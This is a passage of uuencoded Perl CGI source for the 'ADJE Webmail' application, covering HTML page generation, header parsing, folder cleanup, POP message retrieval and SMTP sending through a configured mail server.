3<W5B('!R:6YT7V5R<FUS9R!["@``
C;7D@*"1L86YG+"1C;VQO<G,L)&-O<'EO;FQY*2`]($!?.PH`
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
K/'1I=&QE/B1,>R=796)M86EL($5R<F]R($UE<W-A9V4G?3PO=&ET;&4^"@``
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]72$E417T@3$E.2STD0WM,24Y+?2!!3$E.
=2STD0WM!3$E.2WT@5DQ)3DL])$-[5DQ)3DM]/@H`
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
:/&9O<FT@86-T:6]N/2)I;F1E>"YC9VDB/@H`
%/'1R/@H`
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
M/'1D(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!W:61T:#TB.3`E(B!A;&EG;CTB
)8V5N=&5R(CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
/04-+?2!S:7IE/2(T(CX*
K/'-T<F]N9SXD3'LG17)R;W(Z($QO9VEN($9A:6QE9"=]/"]S=')O;F<^"@``
(/"]F;VYT/@H`
&/"]T9#X*
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
&/"]T<CX*
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
M/'1D(&%L:6=N/6-E;G1E<CX\9F]N="!F86-E/2)A<FEA;"QH96QV971I8V$B
M(&-O;&]R/21#>U1%6%1?0DQ!0TM]/CQS=')O;F<^)$Q[)VQO9VEN97)R;7-G
8)WT\+W-T<F]N9SX\+V9O;G0^/"]T9#X*
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
'/&9O<FT^"@``
)/"]T86)L93X*
(2$52141/0PH`
C;7D@)'1M<"`]("9P<FEN=%]A9"@M.3DL(F-E;G1E<B(I.PH`
0<')I;G0\/$A%4D5$3T,["@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
G?2`C(&5N9"!O9B!P<FEN=%]E<G)M<V<@<W5B<F]U;G1I;F4N+BX*
5<W5B('!R:6YT7W1O<%]M96YU('L*
M;7D@*"1T:71L92PD=7-E<E]D:7)N86UE+"1L86YG+"1C;VQO<G,I(#T@0%\[
!"@``
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
L*&UY("1U<V5R;F%M92`]("1U<V5R7V1I<FYA;64I(#U^(',O+BI<+R\O.PH`
M;7D@)&EN/2(\;W!T:6]N('9A;'5E/5PB<&]P;7-G<UPB/B1,>R=);F-O;6EN
/9R!-97-S86=E<R=](CL*
M;7D@)&]U=#TB/&]P=&EO;B!V86QU93U<(G-E;G1M<V=S7"(^)$Q[)U-A=F5D
7($]U=&=O:6YG($UE<W-A9V5S)WTB.PH`
M:68@*"UF("(D=7-E<E]D:7)N86UE+T%$2D5314Y41D],1$5204-4259%+G1X
&="(I('L*
7)&QI;F4Q(#T@(B1O=70D=&ET;&4B.PH`
.)&QI;F4R(#T@)&EN.PH`
)?2!E;'-E('L*
6)&QI;F4Q(#T@(B1I;B1T:71L92(["@``
/)&QI;F4R(#T@)&]U=#L*
"?0H`
0<')I;G0\/$A%4D5$3T,["@``
?/'-C<FEP="!L86YG=6%G93TB:F%V87-C<FEP="(^"@``
%/"$M+0H`
:9G5N8W1I;VX@8VAA;F=E9F]L9&5R*"D@>PH`
M=F%R(&EN9&5X/61O8W5M96YT+F9O;&1E<G-E;&5C="YT;V)O>"YS96QE8W1E
'9$EN9&5X"@``
M=F%R('9A;"`](&1O8W5M96YT+F9O;&1E<G-E;&5C="YT;V)O>"YO<'1I;VYS
.6VEN9&5X72YV86QU90H`
B9&]C=6UE;G0N;6%I;&)O>"Y&3TQ$15(N=F%L=64]=F%L"@``
:9&]C=6UE;G0N;6%I;&)O>"YS=6)M:70H*0H`
"?0H`
&+R\M+3X*
*/"]S8W)I<'0^"@``
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
%/'1R/@H`
M/&9O<FT@;F%M93TB;6%I;&)O>"(@;65T:&]D/2)03U-4(B!A8W1I;VX](FEN
*8F]X+F-G:2(^"@``
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
M/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=-86EL($)O>"=](CX*
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB1D],1$52(B!V86QU93TB;F]C
(:&%N9V4B/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B!V86QU93TB;6%I
';&)O>"(^"@``
&/"]T9#X*
(/"]F;W)M/@H`
J/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](F-O;7!O<V4N8V=I(CX*
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
L/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=#;VUP;W-E)WTB/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B`@("`@=F%L=64]
/(DYE=R!-97-S86=E(CX*
&/"]T9#X*
(/"]F;W)M/@H`
M/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](F5D:71A9&1B;V]K+F-G:2(^
!"@``
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
M/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=!9&1R97-S97,G?2(^
!"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
&/"]T9#X*
(/"]F;W)M/@H`
;/&9O<FT@;F%M93TB9F]L9&5R<V5L96-T(CX*
M/'1D('=I9'1H/2(Y-24B(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!A;&EG;CTB
)8V5N=&5R(CX*
M/'-E;&5C="!N86UE/2)T;V)O>"(@;VYC:&%N9V4](F-H86YG969O;&1E<B@I
#(CX*
')&QI;F4Q"@``
')&QI;F4R"@``
*/"]S96QE8W0^"@``
&/"]T9#X*
(/"]F;W)M/@H`
I/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](FQO9V]U="YC9VDB/@H`
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
L/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=,;V<@3W5T)WTB/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
&/"]T9#X*
(/"]F;W)M/@H`
&/"]T<CX*
)/"]T86)L93X*
(2$52141/0PH`
"?0H`
4<W5B('5N97-C87!E7VAT;6P@>PH`
6;7DH)'1O=6YE;F-O9&4I(#T@0%\["@``
:)'1O=6YE;F-O9&4]?G,O)F%M<#LO)B]G.PH`
<)'1O=6YE;F-O9&4]?G,O)G%U;W0[+UPB+V<["@``
9)'1O=6YE;F-O9&4]?G,O)F=T.R\^+V<["@``
9)'1O=6YE;F-O9&4]?G,O)FQT.R\\+V<["@``
4<F5T=7)N("1T;W5N96YC;V1E.PH`
"?0H`
2<W5B(&5S8V%P95]H=&UL('L*
4;7DH)'1O96YC;V1E*2`]($!?.PH`
?(61E9FEN960H)'1O96YC;V1E*2`F)B!R971U<FX["@``
8)'1O96YC;V1E/7YS+R8O)F%M<#LO9SL*
:)'1O96YC;V1E/7YS+UPB+R9Q=6]T.R]G.PH`
7)'1O96YC;V1E/7YS+SXO)F=T.R]G.PH`
7)'1O96YC;V1E/7YS+SPO)FQT.R]G.PH`
2<F5T=7)N("1T;V5N8V]D93L*
"?0H`
3<W5B('5N97-C87!E7W5R;"!["@``
4;7DH)'1O9&5C;V1E*2`]($!?.PH`
6)'1O9&5C;V1E(#U^('1R+RLO("\["@``
M)'1O9&5C;V1E(#U^(',O)2A;,"TY82UF02U&77LR?2DO<&%C:R@B8R(L:&5X
**"0Q*2DO9V4["@``
2<F5T=7)N("1T;V1E8V]D93L*
"?0H`
1<W5B(&5S8V%P95]U<FP@>PH`
4;7DH)'1O96YC;V1E*2`]($!?.PH`
<(21T;V5N8V]D92`F)B!R971U<FX@=6YD968["@``
M)'1O96YC;V1E/7YS+RA;7F$M>D$M6C`M.5]<+2Y=*2]U8R!S<')I;G1F*"(E
4)24P,G@B+&]R9"@D,2DI+V5G.PH`
2<F5T=7)N("1T;V5N8V]D93L*
"?0H`
2<W5B(&=E=%]H96%D97)S('L*
5;7D@*$!H96%D;&EN97,I/2!`7SL*
<;7D@)&AE860@/2!-24U%.CI(96%D+3YN97<["@``
=)&AE860M/F5X=')A8W0H7$!H96%D;&EN97,I.PH`
/)&AE860M/G5N9F]L9#L*
/)&AE860M/F1E8V]D93L*
C;7D@)&1A=&4@("`@/2`D:&5A9"T^9V5T*"=$871E.B<I.PH`
A;7D@)&-C("`@("`@/2`D:&5A9"T^9V5T*"=#8SHG*3L*
F;7D@)'-U8FIE8W0@/2`D:&5A9"T^9V5T*"=3=6)J96-T.B<I.PH`
A;7D@)'1O("`@("`@/2`D:&5A9"T^9V5T*"=4;SHG*3L*
C;7D@)&9R;VT@("`@/2`D:&5A9"T^9V5T*"=&<F]M.B<I.PH`
G;7D@)')E<&QY=&\@/2`D:&5A9"T^9V5T*"=297!L>2U4;SHG*3L*
6(21D871E("8F("@D9&%T93TG)RD["@``
2(21C8R`F)B`H)&-C/2<G*3L*
<(21S=6)J96-T("8F("@D<W5B:F5C=#TG)RD["@``
2(21T;R`F)B`H)'1O/2<G*3L*
6(21F<F]M("8F("@D9G)O;3TG)RD["@``
<(21R97!L>71O("8F("@D<F5P;'ET;STG)RD["@``
0;7D@)6AE861E<G,@/2`H"@``
74U5"2D5#5"`@(#T^("1S=6)J96-T+`H`
25$\@("`@("`@(#T^("1T;RP*
41E)/32`@("`@(#T^("1F<F]M+`H`
74D503%E43R`@(#T^("1R97!L>71O+`H`
20T,@("`@("`@(#T^("1C8RP*
41$%412`@("`@(#T^("1D871E+`H`
#*3L*
@9F]R96%C:"`D:V5Y("AK97ES*"5H96%D97)S*2D@>PH`
B(61E9FEN960H)&AE861E<G-[)&ME>7TI("8F(&YE>'0["@``
;)&AE861E<G-[)&ME>7T@/7X@<R]>("LO+SL*
=)&AE861E<G-[)&ME>7T@/7X@<R]<<C]<;B\O.PH`
;)&AE861E<G-[)&ME>7T@/7X@<R\@*R0O+SL*
"?0H`
D;7D@*"1N86UE+"1A9&0L)&-O;6TI(#T@*"<G+"<G+"<G*3L*
M*"1N86UE+"1A9&0L)&-O;6TI(#T@)G!A<G-E7V5M86EL7V%D9')E<W,H)&AE
.861E<G-[1E)/37TI.PH`
>)&AE861E<G-[1E)/34%$1'T@("`@(#T@)&%D9#L*
?)&AE861E<G-[1E)/34Y!345]("`@(#T@)&YA;64["@``
?)&AE861E<G-[1E)/34-/34U%3E1](#T@)&-O;6T["@``
A*"1N86UE+"1A9&0L)&-O;6TI(#T@*"<G+"<G+"<G*3L*
M*"1N86UE+"1A9&0L)&-O;6TI(#T@)G!A<G-E7V5M86EL7V%D9')E<W,H)&AE
1861E<G-[4D503%E43WTI.PH`
=)&AE861E<G-[4E1/041$?2`@("`@/2`D861D.PH`
>)&AE861E<G-[4E1/3D%-17T@("`@/2`D;F%M93L*
>)&AE861E<G-[4E1/0T]-345.5'T@/2`D8V]M;3L*
M)&AE861E<G-[1$%934]]("`@("`@(#T@)F1A=&5?-%]I;F)O>"@D:&5A9&5R
*<WM$051%?2D["@``
1<F5T=7)N("5H96%D97)S.PH`
B?2`C(&5N9"!S=6)R;W5T:6YE(&=E=%]H96%D97)S+BXN"@``
9<W5B('!R:6YT7V)O='1O;5]L:6YK<R!["@``
M;7D@*"1U<V5R7V1I<FYA;64L)&-O<'EO;FQY+"1C;VQO<G,L)&QA;F<I(#T@
$0%\["@``
0;7D@)4,])21C;VQO<G,["@``
.;7D@)4P])21L86YG.PH`
3;7D@)5`])F=E=%]P87)A;7,["@``
M<')I;G0@(CQF;VYT(&9A8V4]7")A<FEA;"QH96QV971I8V%<(B!C;VQO<CTD
30WM415A47T),04-+?3Y<;B(["@``
4:68@*"9I<U]L:6-E;G-E9"D@>PH`
0<')I;G0\/$A%4D5$3T,["@``
./&9O;G0@<VEZ93TQ/@H`
$/'`^"@``
M041*12!796)M86EL(%9E<G-I;VX@)%![5D524TE/3GT@)F-O<'D[(#$Y.3@L
M,3DY.2PR,#`P(#QA(&AR968](FAT='`Z+R]W=W<N861J97=E8BYC;VTB/D%$
M2D4L($Q,0SPO83XN($%L;"!2:6=H=',@4F5S97)V960N(#QB/D1)4T-,04E-
M15(Z/"]B/B!5<V4@=&AI<R!S;V9T=V%R92!A;F0@=&AE(&%S<V]C:6%T960@
<=V5B('!A9V5S(&%T('EO=7(@;W=N(')I<VLN"@``
(/"]F;VYT/@H`
(2$52141/0PH`
)?2!E;'-E('L*
0<')I;G0\/$A%4D5$3T,["@``
(/'-M86QL/@H`
$/'`^"@``
M041*12!796)M86EL(%9E<G-I;VX@)%![5D524TE/3GT@)F-O<'D[(#$Y.3@L
M,3DY.2PR,#`P($%$2D4L($Q,0R`H5&AE($5D9V4I+B!!;&P@4FEG:'1S(%)E
M<V5R=F5D+B`\8CY$25-#3$%)3452.CPO8CX@57-E('1H:7,@<V]F='=A<F4@
M86YD('1H92!A<W-O8VEA=&5D('=E8B!P86=E<R!A="!Y;W5R(&]W;B!R:7-K
M+B`@66]U(&UA>2!D;W=N;&]A9"!T:&4@<&5R;"!C9VD@<V-R:7!T<R!T:&%T
0(&=E;F5R871E('1H97-E"@``
M<&%G97,@/&(^1E)%13PO8CX@9G)O;2!O=7(@:&]M92!P86=E(&%T(#QB/CQA
M(&AR968](FAT='`Z+R]W=W<N861J97=E8BYC;VTB/FAT='`Z+R]W=W<N861J
197=E8BYC;VT\+V$^/"]B/@H`
)/"]S;6%L;#X*
(/"]F;VYT/@H`
(2$52141/0PH`
"?0H`
"?0H`
0<W5B(')M7VUS9V1I<B!["@``
0;7D@*"1D:7(I(#T@0%\["@``
*;&]C86P@)%\["@``
.;7D@)&9P871H/2<G.PH`
4;W!E;F1I<B@D9&ER+"1D:7(I.PH`
C=VAI;&4H9&5F:6YE9"@D7SUR96%D9&ER*"1D:7(I*2D@>PH`
5+R@N*BDO("8F("@D7R`]("0Q*3L*
1+UY<+BLD+R`F)B!N97AT.PH`
4)&9P871H(#T@(B1D:7(O)%\B.PH`
1:68@*"UD("1F<&%T:"D@>PH`
4)G)M7VUS9V1I<B@D9G!A=&@I.PH`
)?2!E;'-E('L*
/=6YL:6YK("1F<&%T:#L*
"?0H`
"?0H`
7+60@)&1I<B`F)B!R;61I<B`D9&ER.PH`
(<F5T=7)N.PH`
"?0H`
3<W5B(&=E=%]O=7)?=6ED;"!["@``
C;7D@*"1M<V=N;RPD;7-G<VEZ92PD<V]C:V5T*2`]($!?.PH`
*;&]C86P@)%\["@``
M;7D@*"1F<F]M+"1D871E+"1S=6)J96-T+"1M97-S86=E:60L)'5I9&PI(#T@
2*"<G+"<G+"<G+"<G+"<G*3L*
D<V5N9"@D<V]C:V5T+")43U`@)&US9VYO(#!<<EQN(BPP*3L*
.)%\]/"1S;V-K970^.PH`
M=VAI;&4@*"`H)%\])G)E861S;V-K*"1S;V-K970I*2`F)B`A+UY<<C]<;B0O
%("D@>PH`
5:68@*"`O7D9R;VTZ("LO:2`I('L*
+<R]<<C]<;B\O.PH`
,)&9R;VT@/2`D7SL*
"?0H`
5:68@*"`O7D1A=&4Z("LO:2`I('L*
+<R]<<C]<;B\O.PH`
,)&1A=&4@/2`D7SL*
"?0H`
8:68@*"`O7E-U8FIE8W0Z("LO:2`I('L*
+<R]<<C]<;B\O.PH`
<)'-U8FIE8W0@/2!S=6)S='(H)%\L,"PS,BD["@``
"?0H`
;:68@*"`O7FUE<W-A9V4M:60Z("LO:2`I('L*
+<R]<<C]<;B\O.PH`
1)&UE<W-A9V5I9"`]("1?.PH`
"?0H`
"?0H`
M=VAI;&4@*"`H)%\])G)E861S;V-K*"1S;V-K970I*2`F)B`A+UY<+EQR/UQN
()"\@*2![?0H`
,)'5I9&P@/2`G)SL*
2:68@*"1M97-S86=E:60I('L*
F)'5I9&P@/2`F=6ED;%]T;U]D:7)N86UE*"1M97-S86=E:60I.PH`
)?2!E;'-E('L*
M)'5I9&P@/2`F=6ED;%]T;U]D:7)N86UE*"(D9G)O;21D871E)'-U8FIE8W0D
+;7-G<VEZ92(I.PH`
"?0H`
"?0H`
/<W5B(')E861S;V-K('L*
3;7D@*"1S;V-K970I(#T@0%\["@``
/;7D@)&1A=&$@/2`G)SL*
.;7D@)&)U9B`]("<G.PH`
8=VAI;&4@*"1B=68@(7X@+UQN)"\I('L*
0)&)U9CT\)'-O8VME=#X["@``
/)&1A=&$@+CT@)&)U9CL*
"?0H`
.<F5T=7)N("1D871A.PH`
"?0H`
:<W5B('!A<G-E7V5M86EL7V%D9')E<W,@>PH`
*;&]C86P@)%\["@``
9;7D@*"1F=6QL7V%D9')E<W,I(#T@0%\["@``
M;7D@*$!A9&1R<RD@/2!-86EL.CI!9&1R97-S+3YP87)S92@D9G5L;%]A9&1R
&97-S*3L*
D;7D@*"1N86UE+"1A9&0L)&-O;6TI(#T@*"<G+"<G+"<G*3L*
.:68@*$!A9&1R<RD@>PH`
K*"1N86UE(#T@)&%D9')S6S!=+3YP:')A<V4I(#U^(',O6R(G72LO+V<["@``
B)&%D9"`@(#T@(&QC*"1A9&1R<ULP72T^861D<F5S<RD["@``
M*"1C;VUM("`]("`D861D<G-;,%TM/F-O;6UE;G0I(#U^(',O6R@I72\O9SL*
)?2!E;'-E('L*
2)&YA;64@("`](").;VYE(CL*
2)&%D9"`@("`](").;VYE(CL*
2)&-O;6T@("`](").;VYE(CL*
"?0H`
;<F5T=7)N("@D;F%M92PD861D+"1C;VUM*3L*
"?0H`
0<W5B(&=E=%]F:65L9"!["@``
5;7D@*"1R96,L)&9L9"D@/2!`7SL*
/;7D@)'9A;#UU;F1E9CL*
M*"0D<F5C(#U^(&TC)"1F;&0Z*%M>7'Q=*BDC*2`F)B`H)'9A;"`]("0Q*3L*
-<F5T=7)N("1V86P["@``
"?0H`
#,3L*
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
E;7D@)4,@/2`F9V5T7V-O;&]R<R@D4'M714)-04E,1$E2?2D["@``
7;7D@)4P@/2`F9V5T7VQA;F=U86=E.PH`
-=6UA<VLH,#`W-RD["@``
8)'%U97)Y("`@("`@(#T@;F5W($-'23L*
J)'5S97)N86UE("`@(#T@)'%U97)Y+3YP87)A;2@G55-%4DY!344G*3L*
H)&%C=&EO;B`@("`@(#T@)'%U97)Y+3YP87)A;2@G04-424].)RD["@``
G)&US9VYO("`@("`@(#T@)'%U97)Y+3YP87)A;2@G35-'3D\G*3L*
G)&US9W1O("`@("`@(#T@)'%U97)Y+3YP87)A;2@G35-'5$\G*3L*
L)&US9W-U8FIE8W0@(#T@)'%U97)Y+3YP87)A;2@G35-'4U5"2D5#5"<I.PH`
G)&US9V-C("`@("`@(#T@)'%U97)Y+3YP87)A;2@G35-'0T,G*3L*
H)&US9V)C8R`@("`@(#T@)'%U97)Y+3YP87)A;2@G35-'0D-#)RD["@``
I)&US9W1E>'0@("`@(#T@)'%U97)Y+3YP87)A;2@G35-'5$585"<I.PH`
F)'-A=F5M<V<@("`@(#T@)'%U97)Y+3YP87)A;2@G4T%612<I.PH`
B)G9A;&ED871E7W5S97)N86UE*"1U<V5R;F%M92PQ-BD["@``
M*"1U<V5R;F%M92`]?B`O7B@N*BDD+RD@)B8@*"1U<V5R;F%M92`]("0Q*3L*
>)G9A;&ED871E*"1M<V=N;RPG6UQD+5TK)RPV*3L*
G*"1M<V=N;R`]?B`O7B@N*BDD+RD@)B8@*"1M<V=N;R`]("0Q*3L*
B)G9A;&ED871E*"1A8W1I;VXL)UM<=UPM(%TK)RPV-"D["@``
I*"1A8W1I;VX@/7X@+UXH+BHI)"\I("8F("@D86-T:6]N(#T@)#$I.PH`
M;7D@)'5S97)?9&ER;F%M93TB)%![5T5"34%)3$1)4GTO)'5S97)N86UE(CL*
M)F-H96-K7VQO9VEN*%PE3"Q<)4,L)'5S97)?9&ER;F%M92PD4'M424U%3U54
$?2D["@``
M)'-E;G1?9FYA;64@/2`B)'5S97)?9&ER;F%M92]!1$I%4T5.5$9/3$1%4D%#
+5$E612YT>'0B.PH`
L)&US9V1B(#T@("`@("`B)'5S97)?9&ER;F%M92]M97-S86=E<RYT>'0B.PH`
6:68@*"UF("1S96YT7V9N86UE*2!["@``
J)&US9V1B(#T@(B1U<V5R7V1I<FYA;64O;W5T;65S<V%G97,N='AT(CL*
,)%![4U!34WT],#L*
"?0H`
I0&US9W,@/2!R96%D7VUE<W-A9V5S7V9R;VU?9&ES:R@D;7-G9&(I.PH`
M*&QO8V%L=&EM92`]?B`O*%Q3*RD@*RA<4RLI("LH7%,K*2`K*%Q3*RD@*RA<
M4RLI+RD@)B8@*"1E;6%I;%]D871E(#T@(D1A=&4Z("0Q+"`D,R`D,B`D-"`D
@-2`B("X@)F=E=%]G;5]O9F9S970@+B`B7')<;B(I.PH`
<:68@*"1A8W1I;VX@97$@(D9O<G=A<F0B*2!["@``
2)%\])&US9W-;)&US9VYO73L*
=+UXN*CHH+BH_*20O("8F("@D86QL(#T@)#$I.PH`
I*&TC7E9!4B])1#HH7'<K*7PC*2`F)B`H;7D@)&US9VED(#T@)#$I.PH`
M:68@*"10>U-04U-]("8F("@D86QL("%^("],05-40T]062YT>'0D+RD@*2![
!"@``
M)G)E<W1O<F5?;65S<V%G95]C;VYT96YT<U]T;U]D:7-K*"1M<V=I9"PD86QL
#*3L*
"?0H`
"?0H`
9:68@*&1E9FEN960H)'-A=F5M<V<I*2!["@``
2)'-A=F5T:6UE(#T@=&EM93L*
@)'-A=F5D:7(@/2`B)'5S97)?9&ER;F%M92]O=70B.PH`
G(2`M9"`D<V%V961I<B`F)B!M:V1I<B@D<V%V961I<BPP-S`P*3L*
<9F]R("AM>2`D:3TP.R1I/#$P,#LD:2LK*2!["@``
C(2`M9"`B)'-A=F5D:7(O)'-A=F5T:6UE(B`F)B!L87-T.PH`
-)'-A=F5T:6UE*RL["@``
"?0H`
A)'-A=F5D:7(@/2`B)'-A=F5D:7(O)'-A=F5T:6UE(CL*
C)'-A=F5A;&P@/2`B)'-A=F5D:7(O;7-G+4%,3"YT>'0B.PH`
6;6MD:7(H)'-A=F5D:7(L,#<P,"D["@``
7;W!E;BA/1D@L(CXD<V%V96%L;"(I.PH`
"?0H`
M0&%T=&%C:&5D7W!A=&AS(#T@)'%U97)Y+3YP87)A;2@G871T86-H;65N="<I
".PH`
3)&%T=&%C:&UE;G1S/2)N;R(["@``
?9F]R96%C:"`D7R`H0&%T=&%C:&5D7W!A=&AS*2!["@``
L(2]>7',J)"\@)B8@*"1A='1A8VAM96YT<R`](")Y97,B*2`F)B!L87-T.PH`
"?0H`
;)%\@/2`D14Y6>R=#3TY414Y47U194$4G?3L*
I*"1B<F]W<V5R7V)O=6YD87)Y*2`]("]B;W5N9&%R>3TH7%,K*20O.PH`
I0'-E;F1?;7-G=&5X="`]("9W<F%P7VY?<W1U9F8H)&US9W1E>'0I.PH`
I0'1R86EL97(@/2`F9V5T7W1R86EL97(H)%![5T5"34%)3$1)4GTI.PH`
0:68@*$!T<F%I;&5R*2!["@``
D:68@*"1T<F%I;&5R6S!=(#U^("]>0D5'24X@*T)%1B\I('L*
M0'-E;F1?;7-G=&5X=#TH0'1R86EL97);,2XN)"-T<F%I;&5R72Q`<V5N9%]M
)<V=T97AT*3L*
)?2!E;'-E('L*
L<'5S:"A`<V5N9%]M<V=T97AT+$!T<F%I;&5R6S$N+B0C=')A:6QE<ETI.PH`
"?0H`
"?0H`
4)&US9W1O(#U^(',O7EQS*R\O.PH`
4)&US9W1O(#U^(',O7',K)"\O.PH`
F0'-E;F1?;7-G=&\@/2!S<&QI="@O6SLL(%TK+RPD;7-G=&\I.PH`
4)&US9V-C(#U^(',O7EQS*R\O.PH`
4)&US9V-C(#U^(',O7',K)"\O.PH`
F0'-E;F1?;7-G8V,@/2!S<&QI="@O6SLL(%TK+RPD;7-G8V,I.PH`
5)&US9V)C8R`]?B!S+UY<<RLO+SL*
5)&US9V)C8R`]?B!S+UQS*R0O+SL*
H0'-E;F1?;7-G8F-C(#T@<W!L:70H+UL[+"!=*R\L)&US9V)C8RD["@``
G;7D@)5!21493(#T@)F=E=%]P<F5F<R@D=7-E<E]D:7)N86UE*3L*
')"(])R<["@``
M)'-O8VME="`](&YE=R!)3SHZ4V]C:V5T.CI)3D54+3YN97<H(%!E97)!9&1R
5("`]/B`D4'M335104T525D52?2P*
<"0D)"2`@("`@4&5E<E!O<G0@(#T^("(R-2(L"@``
="0D)"2`@("`@4')O=&\@("`@(#T^(")T8W`B+`H`
C"0D)"2`@("`@5'EP92`@("`@(#T^(%-/0TM?4U1214%-+`H`
="0D)"2`@("`@5&EM96]U="`@(#T^("(S,"(I.PH`
9:68@*"%D969I;F5D*"1S;V-K970I*2!["@``
M;7D@)'1I=&QE/21,>R=33510("AS96YD;6%I;"D@4V5R=F5R($-O;FYE8W0@
)17)R;W(G?3L*
M;7D@)&5R<FUS9STB)$Q[)U5N86)L92!T;R!C;VYN96-T('1O(%--5%`@*'-E
D;F1M86EL*2!S97)V97(G?2`Z("10>U--5%!315)615)](CL*
L)G!R:6YT7V)A8VM?97)R;7-G*%PE3"Q<)4,L)'1I=&QE+"1E<G)M<V<I.PH`
&97AI=#L*
"?0H`
,;7D@)'1M<#TG)SL*
7=VAI;&4H)'1M<"`A?B`O7&XD+RD@>PH`
:)'-O8VME="T^<F5C=B@D=&UP+#$P,C0I.PH`
.)&US9R`N/2`D=&UP.PH`
"?0H`
M*&UY("1H='1P7VAO<W0@/2`D14Y6>TA45%!?2$]35'TI(#U^(',O.EQD*R0O
#+SL*
F)'-O8VME="T^<V5N9"@B2$5,3R`D:'1T<%]H;W-T7')<;B(I.PH`
9)&US9STF<F5A9'-O8VLH)'-O8VME="D["@``
7)&9R;VU?<W1R:6YG/2)&<F]M.B`B.PH`
M*"104D5&4WM93U523D%-17TI("8F("@D9G)O;5]S=')I;F<N/2)<(B104D5&
24WM93U523D%-17U<(B`B*3L*
I)&9R;VU?<W1R:6YG("X]("(\)%!21493>UE/55)!1$1215-3?3XB.PH`
M)'-O8VME="T^<V5N9"@B34%)3"!&4D]-.CPD4%)%1E-[64]54D%$1%)%4U-]
)/EQR7&XB*3L*
9)&US9STF<F5A9'-O8VLH)'-O8VME="D["@``
5)'1O7W-T<FEN9R`](")4;SH@(CL*
3:68@*$!S96YD7VUS9W1O*2!["@``
A9F]R96%C:"`D861D<F5S<R`H0'-E;F1?;7-G=&\I('L*
I)'-O8VME="T^<V5N9"@B4D-05"!43SH\)&%D9')E<W,^7')<;B(I.PH`
9)&US9STF<F5A9'-O8VLH)'-O8VME="D["@``
6:68@*"1M<V<@/7X@+UXR-3`O*2!["@``
8)&UA:6QE9"`N/2`B)&%D9')E<W,@(CL*
<)'1O7W-T<FEN9R`N/2`B)&%D9')E<W,L("(["@``
)?2!E;'-E('L*
G)&9A:6QE9"`N/2`B)&%D9')E<W,@/'4^)&US9SPO=3X\8G(^(CL*
"?0H`
"?0H`
"?0H`
:)'1O7W-T<FEN9R`]?B!S+ULL(%TK)"\O.PH`
5)&-C7W-T<FEN9R`](")#8SH@(CL*
3:68@*$!S96YD7VUS9V-C*2!["@``
A9F]R96%C:"`D861D<F5S<R`H0'-E;F1?;7-G8V,I('L*
I)'-O8VME="T^<V5N9"@B4D-05"!43SH\)&%D9')E<W,^7')<;B(I.PH`
9)&US9STF<F5A9'-O8VLH)'-O8VME="D["@``
6:68@*"1M<V<@/7X@+UXR-3`O*2!["@``
8)&UA:6QE9"`N/2`B)&%D9')E<W,@(CL*
<)&-C7W-T<FEN9R`N/2`B)&%D9')E<W,L("(["@``
)?2!E;'-E('L*
G)&9A:6QE9"`N/2`B)&%D9')E<W,@/'4^)&US9SPO=3X\8G(^(CL*
"?0H`
"?0H`
"?0H`
